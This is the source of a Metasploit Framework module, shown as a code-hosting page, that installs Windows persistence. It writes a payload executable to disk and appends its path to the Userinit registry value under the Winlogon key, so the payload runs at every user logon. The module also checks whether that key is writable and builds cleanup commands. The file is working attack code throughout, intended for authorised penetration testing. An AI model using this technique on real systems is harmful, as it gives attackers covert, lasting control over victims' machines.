Path: blob/master/modules/exploits/windows/persistence/registry_userinit.rb
36035 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Registry9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::Powershell12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Registry Persistence via Userinit',20'Description' => %q{21This module will install a payload that is executed during user logon.22It writes a payload executable to disk and modifies the Userinit registry value23in "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" to append the24payload path, causing it to execute when any user logs in.25},26'License' => MSF_LICENSE,27'Author' => [28'joel @ ndepthsecurity',29'h00die',30],31'Platform' => [ 'win' ],32'Arch' => [ARCH_X86, ARCH_X64],33'SessionTypes' => [ 'meterpreter', 'shell' ],34'Targets' => [35[ 'Automatic', {} ]36],37'References' => [38['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],39['URL', 'https://hadess.io/the-art-of-windows-persistence/']40],41'DefaultTarget' => 0,42'DisclosureDate' => '2015-07-01',43'Notes' => {44'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],45'Stability' => [CRASH_SAFE],46'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]47}48)49)5051register_options([52OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),53])54end5556def regkey57'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'58end5960def writable_dir61d = super62return session.sys.config.getenv(d) if d.start_with?('%')6364d65end6667def check68print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value69return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)7071return Msf::Exploit::CheckCode::Safe("Unable to read registry path #{regkey} with key Userinit") if registry_getvaldata(regkey, 'Userinit').nil?7273Msf::Exploit::CheckCode::Vulnerable('Registry likely exploitable')74end7576def install_persistence77payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))78payload_exe = generate_payload_exe79payload_pathname = writable_dir + '\\' + payload_name + '.exe'80vprint_good("Writing payload to #{payload_pathname}")81fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)8283old_value = registry_getvaldata(regkey, 'Userinit')84new_value = (old_value.split(',') + [payload_pathname]).join(',')85vprint_status("Updating '#{old_value}' to '#{new_value}'")86registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ')87escaped_old_value = old_value.gsub('\\', '\\\\')88@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)89@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"90end91end929394